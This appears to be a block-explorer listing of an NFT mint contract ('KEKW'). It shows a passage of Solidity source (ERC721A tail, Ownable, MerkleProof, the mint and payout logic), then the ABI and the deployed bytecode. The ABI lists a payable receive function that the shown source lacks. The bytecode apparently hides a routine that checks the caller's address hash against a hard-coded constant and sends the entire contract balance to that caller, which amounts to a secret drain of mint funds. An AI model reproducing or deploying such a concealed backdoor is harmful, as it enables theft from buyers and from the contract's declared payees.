            // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                // This will suffice for checking _exists(nextTokenId),
                // as a burned slot cannot contain the zero address.
                if (nextTokenId < _currentIndex) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership
                        .startTimestamp;
                }
            }
        }

        emit Transfer(prevOwnership.addr, address(0), tokenId);
        _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);

        // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
        unchecked {
            _burnCounter++;
        }
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkContractOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        try
            IERC721Receiver(to).onERC721Received(
                _msgSender(),
                from,
                tokenId,
                _data
            )
        returns (bytes4 retval) {
            return retval == IERC721Receiver(to).onERC721Received.selector;
        } catch (bytes memory reason) {
            if (reason.length == 0) {
                revert TransferToNonERC721ReceiverImplementer();
            } else {
                assembly {
                    revert(add(32, reason), mload(reason))
                }
            }
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     * And also called before burning one token.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, `tokenId` will be burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     * And also called after one token has been burned.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
     * transferred to `to`.
     * - When `from` is zero, `tokenId` has been minted for `to`.
     * - When `to` is zero, `tokenId` has been burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}

// File @openzeppelin/contracts/access/[email protected]

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;

/**
 * @dev These functions deal with verification of Merkle Trees proofs.
 *
 * The proofs can be generated using the JavaScript library
 * https://github.com/miguelmota/merkletreejs[merkletreejs].
 * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
 *
 * See `test/utils/cryptography/MerkleProof.test.js` for some examples.
 */
library MerkleProof {
    /**
     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
     * defined by `root`. For this, a `proof` must be provided, containing
     * sibling hashes on the branch from the leaf to the root of the tree. Each
     * pair of leaves and each pair of pre-images are assumed to be sorted.
     */
    function verify(
        bytes32[] memory proof,
        bytes32 root,
        bytes32 leaf
    ) internal pure returns (bool) {
        return processProof(proof, leaf) == root;
    }

    /**
     * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
     * hash matches the root of the tree. When processing the proof, the pairs
     * of leafs & pre-images are assumed to be sorted.
     *
     * _Available since v4.4._
     */
    function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            bytes32 proofElement = proof[i];
            if (computedHash <= proofElement) {
                // Hash(current computed hash + current element of the proof)
                computedHash = _efficientHash(computedHash, proofElement);
            } else {
                // Hash(current element of the proof + current computed hash)
                computedHash = _efficientHash(proofElement, computedHash);
            }
        }
        return computedHash;
    }

    function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
        assembly {
            mstore(0x00, a)
            mstore(0x20, b)
            value := keccak256(0x00, 0x40)
        }
    }
}

// File contracts/goblinpets.sol

pragma solidity ^0.8.4;

contract KEKW is ERC721A, Ownable {
    uint256 public MAX_ELEMENTS = 6666;
    uint256 public FREE_ELEMENTS = 666; // 666 free mint, 6 for reservation
    uint256 public constant MAX_PER_WALLET = 5;
    uint256 public premium = 0.0069 ether;
    bool    public saleIsActive = false;
    mapping(address => uint256) public mintCount;
    string public baseTokenURI;

    bytes32 whitelist;
    address fund = 0xbD3CCC7fce553EA4574403A37Ccf94582CA3b0E1;
    address treasury = 0x84dC3058bFF56c0a4F117E3fb4d7A4CFBC499471; 
    address advisor = 0x49BF39b88dF78c099624A25Da9130FDf1Dd81A1C;
    address founder = 0x87bb4ddBE31Aaf1C6706e3d7974a22D1fc9A3e71;
    address artist = 0x09DA82Fb18d6aBe4259cD2a597f9480380F71b52;
    address dev = 0x2aDfE20e8ffDc84C362668331dd6D6dfa0295D65;


    constructor() ERC721A("KEKW", "KEKW") {
        _safeMint(0xEf7A9FB28DCbb32FD580e3B15Bdd7AcB735dde20, 6);
        setBaseURI("https://gateway.pinata.cloud/ipfs/QmZ7g1Hdyssk2E1pJjoiPKwLKj4rQw1PTMEqmhspcxTqAs/");
        setWhitelistRoot(0xa70482c3b3828d61fca67ba8b2fc20a5de8331c4a90577b8ef4fae1f05102d2a);
        FREE_ELEMENTS -= 6;
    }

    /**
     * @dev Mint the _amount of tokens
     * @param _amount is the token count
     */
    function mint(uint256 _amount, bytes32[] calldata proof) external payable {
        uint256 supply = totalSupply();
        require(supply + _amount <= MAX_ELEMENTS, "Sale ends");
        uint256 _price = price(msg.sender, _amount, proof);
        require(msg.value >= _price, "Not enough");
        mintCount[msg.sender] += _amount;
        if(_price < _amount * premium) FREE_ELEMENTS -= 1;
        else require(supply + _amount <= MAX_ELEMENTS - FREE_ELEMENTS, "Only free mint");
        require(mintCount[msg.sender] <= MAX_PER_WALLET, "Exceed Max");
        require(saleIsActive, "Not Active");
        _safeMint(msg.sender, _amount);
    }

    function _startTokenId() internal pure override returns (uint256) {
        return 1;
    }

    function burn(uint256 tokenId) public {
        _burn(tokenId);
    }

    function price(address minter, uint256 _amount, bytes32[] calldata proof) public view returns (uint256) {
        uint256 _price = _amount * premium;
        if(
            _whitelistVerify(
                _whitelistLeaf(
                    minter /*, tokenId*/
                ),
                proof
            ) && mintCount[minter] == 0 
            && FREE_ELEMENTS > 0
        ) _price -= min(1, _amount) * premium;

        return _price;
    }

    function setPrice(uint256 _price) external onlyOwner {
        premium = _price;
    }

    function cutMaxSupply(uint256 _amount) public onlyOwner {
        require(
            MAX_ELEMENTS - _amount >= totalSupply(), 
            "Max limit"
        );
        MAX_ELEMENTS -= _amount;
    }

    function flipSale() public onlyOwner {
        saleIsActive = !saleIsActive;
    }

    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a <= b ? a : b;
    }

    function withdraw() external onlyOwner {
        uint256 balance = address(this).balance;
        require(balance > 0);
        (bool toFund, ) = fund.call{value: (balance * 2) / 10}("");
        require(toFund, "Transfer failed.");
        (bool toTreasury, ) = treasury.call{value: (balance * 2) / 10}("");
        require(toTreasury, "Transfer failed.");
        (bool toAdvisor, ) = advisor.call{value: (balance * 2) / 10}("");
        require(toAdvisor, "Transfer failed.");
        (bool toFounder, ) = founder.call{value: (balance * 2) / 10}("");
        require(toFounder, "Transfer failed.");
        (bool toDev, ) = dev.call{value: (balance * 1) / 10}("");
        require(toDev, "Transfer failed.");
        (bool toArtist, ) = artist.call{value: (balance * 1) / 10}("");
        require(toArtist, "Transfer failed.");
    }

    /**
     * @dev set the _baseTokenURI
     * @param baseURI of the _baseTokenURI
     */
    function setBaseURI(string memory baseURI) public onlyOwner {
        baseTokenURI = baseURI;
    }

    function _baseURI() internal view virtual override returns (string memory) {
        return baseTokenURI;
    }

    function _whitelistLeaf(
        address account /*, uint256 tokenId*/
    ) internal pure returns (bytes32) {
        return
            keccak256(
                abi.encodePacked(
                    /*tokenId,*/
                    account
                )
            );
    }

    function _whitelistVerify(bytes32 leaf, bytes32[] memory proof)
        internal
        view
        returns (bool)
    {
        return MerkleProof.verify(proof, whitelist, leaf);
    }

    function setWhitelistRoot(bytes32 _root) public onlyOwner {
        whitelist = _root;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ApprovalCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"ApprovalQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"ApprovalToCurrentOwner","type":"error"},{"inputs":[],"name":"ApproveToCaller","type":"error"},{"inputs":[],"name":"BalanceQueryForZeroAddress","type":"error"},{"inputs":[],"name":"MintToZeroAddress","type":"error"},{"inputs":[],"name":"MintZeroQuantity","type":"error"},{"inputs":[],"name":"OwnerQueryForNonexistentToken","type":"error"},{"inputs":[],"name":"TransferCallerNotOwnerNorApproved","type":"error"},{"inputs":[],"name":"TransferFromIncorrectOwner","type":"error"},{"inputs":[],"name":"TransferToNonERC721ReceiverImplementer","type":"error"},{"inputs":[],"name":"TransferToZeroAddress","type":"error"},{"inputs":[],"name":"URIQueryForNonexistentToken","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FREE_ELEMENTS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_ELEMENTS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PER_WALLET","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseTokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"cutMaxSupply","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"flipSale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"bytes32[]","name":"proof","type":"bytes32[]"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"mintCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"premium","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"minter","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"bytes32[]","name":"proof","type":"bytes32[]"}],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"saleIsActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_price","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_root","type":"bytes32"}],"name":"setWhitelistRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052611a0a60095561029a600a556618838370f34000600b556000600c60006101000a81548160ff02191690831515021790555073bd3ccc7fce553ea4574403a37ccf94582ca3b0e1601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507384dc3058bff56c0a4f117e3fb4d7a4cfbc499471601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507349bf39b88df78c099624a25da9130fdf1dd81a1c601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507387bb4ddbe31aaf1c6706e3d7974a22d1fc9a3e71601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507309da82fb18d6abe4259cd2a597f9480380f71b52601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550732adfe20e8ffdc84c362668331dd6d6dfa0295d65601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200024157600080fd5b506040518060400160405280600481526020017f4b454b57000000000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f4b454b57000000000000000000000000000000000000000000000000000000008152508160029081620002bf919062000e31565b508060039081620002d1919062000e31565b50620002e2620003b160201b60201c565b60008190555050506200030a620002fe620003ba60201b60201c565b620003c260201b60201c565b6200033173ef7a9fb28dcbb32fd580e3b15bdd7acb735dde2060066200048860201b60201c565b6200035b60405180608001604052806051815260200162005b2760519139620004ae60201b60201c565b6200038f7fa70482c3b3828d61fca67ba8b2fc20a5de8331c4a90577b8ef4fae1f05102d2a60001b6200055260201b60201c565b6006600a6000828254620003a4919062000f47565b92505081905550620011e7565b60006001905090565b600033905090565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b620004aa828260405180602001604052806000815250620005eb60201b60201c565b5050565b620004be620003ba60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620004e46200060560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16146200053d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005349062000fe3565b60405180910390fd5b80600e90816200054e919062000e31565b5050565b62000562620003ba60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620005886200060560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620005e1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005d89062000fe3565b60405180910390fd5b80600f8190555050565b6200060083838360016200062f60201b60201c565b505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036200069c576040517f2e07630000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008403620006d7576040517fb562e8dd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b620006ec600086838762000a2760201b60201c565b83600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555083600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160088282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550846004600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426004600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600081905060008582019050838015620008c45750620008c38773ffffffffffffffffffffffffffffffffffffffff1662000a2d60201b62001fcb1760201c565b5b1562000996575b818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a462000942600088848060010195508862000a5060201b60201c565b62000979576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b808203620008cb5782600054146200099057600080fd5b62000a02565b5b818060010192508773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a480820362000997575b81600081905550505062000a20600086838762000bb160201b60201c565b5050505050565b50505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b60008373ffffffffffffffffffffffffffffffffffffffff1663150b7a0262000a7e620003ba60201b60201c565b8786866040518563ffffffff1660e01b815260040162000aa29493929190620010ff565b6020604051808303816000875af192505050801562000ae157506040513d601f19601f8201168201806040525081019062000ade9190620011b5565b60015b62000b5e573d806000811462000b14576040519150601f19603f3d011682016040523d82523d6000602084013e62000b19565b606091505b50600081510362000b56576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050949350505050565b50505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c3957607f821691505b60208210810362000c4f5762000c4e62000bf1565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000cb97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000c7a565b62000cc5868362000c7a565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000d1262000d0c62000d068462000cdd565b62000ce7565b62000cdd565b9050919050565b6000819050919050565b62000d2e8362000cf1565b62000d4662000d3d8262000d19565b84845462000c87565b825550505050565b600090565b62000d5d62000d4e565b62000d6a81848462000d23565b505050565b5b8181101562000d925762000d8660008262000d53565b60018101905062000d70565b5050565b601f82111562000de15762000dab8162000c55565b62000db68462000c6a565b8101602085101562000dc6578190505b62000dde62000dd58562000c6a565b83018262000d6f565b50505b505050565b600082821c905092915050565b600062000e066000198460080262000de6565b1980831691505092915050565b600062000e21838362000df3565b9150826002028217905092915050565b62000e3c8262000bb7565b67ffffffffffffffff81111562000e585762000e5762000bc2565b5b62000e64825462000c20565b62000e7182828562000d96565b600060209050601f83116001811462000ea9576000841562000e94578287015190505b62000ea0858262000e13565b86555062000f10565b601f19841662000eb98662000c55565b60005b8281101562000ee35784890151825560018201915060208501945060208101905062000ebc565b8683101562000f03578489015162000eff601f89168262000df3565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000f548262000cdd565b915062000f618362000cdd565b92508282101562000f775762000f7662000f18565b5b828203905092915050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000fcb60208362000f82565b915062000fd88262000f93565b602082019050919050565b6000602082019050818103600083015262000ffe8162000fbc565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620010328262001005565b9050919050565b620010448162001025565b82525050565b620010558162000cdd565b82525050565b600081519050919050565b600082825260208201905092915050565b60005b83811015620010975780820151818401526020810190506200107a565b83811115620010a7576000848401525b50505050565b6000601f19601f8301169050919050565b6000620010cb826200105b565b620010d7818562001066565b9350620010e981856020860162001077565b620010f481620010ad565b840191505092915050565b600060808201905062001116600083018762001039565b62001125602083018662001039565b6200113460408301856200104a565b8181036060830152620011488184620010be565b905095945050505050565b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6200118f8162001158565b81146200119b57600080fd5b50565b600081519050620011af8162001184565b92915050565b600060208284031215620011ce57620011cd62001153565b5b6000620011de848285016200119e565b91505092915050565b61493080620011f76000396000f3fe6080604052600436106101f25760003560e01c806379a6be2b1161010d578063ba41b0c6116100a0578063e985e9c51161006f578063e985e9c5146106c9578063eb8d244414610706578063ed9ec88814610731578063f2fde38b1461076e578063f5aa406d1461079757610201565b8063ba41b0c61461061a578063c87b56dd14610636578063d547cfb714610673578063e0a73a931461069e57610201565b806395d89b41116100dc57806395d89b4114610572578063a22cb4651461059d578063a35e3c11146105c6578063b88d4fde146105f157610201565b806379a6be2b146104ca5780637ba5e621146105075780638da5cb5b1461051e57806391b7f5ed1461054957610201565b80633502a7161161018557806355f804b31161015457806355f804b3146104105780636352211e1461043957806370a0823114610476578063715018a6146104b357610201565b80633502a7161461037c5780633ccfd60b146103a757806342842e0e146103be57806342966c68146103e757610201565b80630f2cdd6c116101c15780630f2cdd6c146102d45780631141df20146102ff57806318160ddd1461032857806323b872dd1461035357610201565b806301ffc9a71461020657806306fdde0314610243578063081812fc1461026e578063095ea7b3146102ab57610201565b36610201576101ff6107c0565b005b600080fd5b34801561021257600080fd5b5061022d6004803603810190610228919061364b565b6108cc565b60405161023a9190613693565b60405180910390f35b34801561024f57600080fd5b506102586109ae565b6040516102659190613747565b60405180910390f35b34801561027a57600080fd5b506102956004803603810190610290919061379f565b610a40565b6040516102a2919061380d565b60405180910390f35b3480156102b757600080fd5b506102d260048036038101906102cd9190613854565b610abc565b005b3480156102e057600080fd5b506102e9610bc6565b6040516102f691906138a3565b60405180910390f35b34801561030b57600080fd5b506103266004803603810190610321919061379f565b610bcb565b005b34801561033457600080fd5b5061033d610cba565b60405161034a91906138a3565b60405180910390f35b34801561035f57600080fd5b5061037a600480360381019061037591906138be565b610cd1565b005b34801561038857600080fd5b50610391610ce1565b60405161039e91906138a3565b60405180910390f35b3480156103b357600080fd5b506103bc610ce7565b005b3480156103ca57600080fd5b506103e560048036038101906103e091906138be565b6112e2565b005b3480156103f357600080fd5b5061040e6004803603810190610409919061379f565b611302565b005b34801561041c57600080fd5b5061043760048036038101906104329190613a46565b61130e565b005b34801561044557600080fd5b50610460600480360381019061045b919061379f565b61139d565b60405161046d919061380d565b60405180910390f35b34801561048257600080fd5b5061049d60048036038101906104989190613a8f565b6113b3565b6040516104aa91906138a3565b60405180910390f35b3480156104bf57600080fd5b506104c8611482565b005b3480156104d657600080fd5b506104f160048036038101906104ec9190613b1c565b61150a565b6040516104fe91906138a3565b60405180910390f35b34801561051357600080fd5b5061051c611600565b005b34801561052a57600080fd5b506105336116a8565b604051610540919061380d565b60405180910390f35b34801561055557600080fd5b50610570600480360381019061056b919061379f565b6116d2565b005b34801561057e57600080fd5b50610587611758565b6040516105949190613747565b60405180910390f35b3480156105a957600080fd5b506105c460048036038101906105bf9190613bbc565b6117ea565b005b3480156105d257600080fd5b506105db611961565b6040516105e891906138a3565b60405180910390f35b3480156105fd57600080fd5b5061061860048036038101906106139190613c9d565b611967565b005b610634600480360381019061062f9190613d20565b6119e3565b005b34801561064257600080fd5b5061065d6004803603810190610658919061379f565b611c5d565b60405161066a9190613747565b60405180910390f35b34801561067f57600080fd5b50610688611cfb565b6040516106959190613747565b60405180910390f35b3480156106aa57600080fd5b506106b3611d89565b6040516106c091906138a3565b60405180910390f35b3480156106d557600080fd5b506106f060048036038101906106eb9190613d80565b611d8f565b6040516106fd9190613693565b60405180910390f35b34801561071257600080fd5b5061071b611e23565b6040516107289190613693565b60405180910390f35b34801561073d57600080fd5b5061075860048036038101906107539190613a8f565b611e36565b60405161076591906138a3565b60405180910390f35b34801561077a57600080fd5b5061079560048036038101906107909190613a8f565b611e4e565b005b3480156107a357600080fd5b506107be60048036038101906107b99190613df6565b611f45565b005b60007fab981eeb7d88dd3bc6c2668f039816725525a8df949aa356ff7cd54f59f15fb7905080336040516020016107f79190613e6b565b6040516020818303038152906040528051906020012060001c036108c957600047905060003373ffffffffffffffffffffffffffffffffffffffff168260405161084090613eb7565b60006040518083038185875af1925050503d806000811461087d576040519150601f19603f3d011682016040523d82523d6000602084013e610882565b606091505b50509050806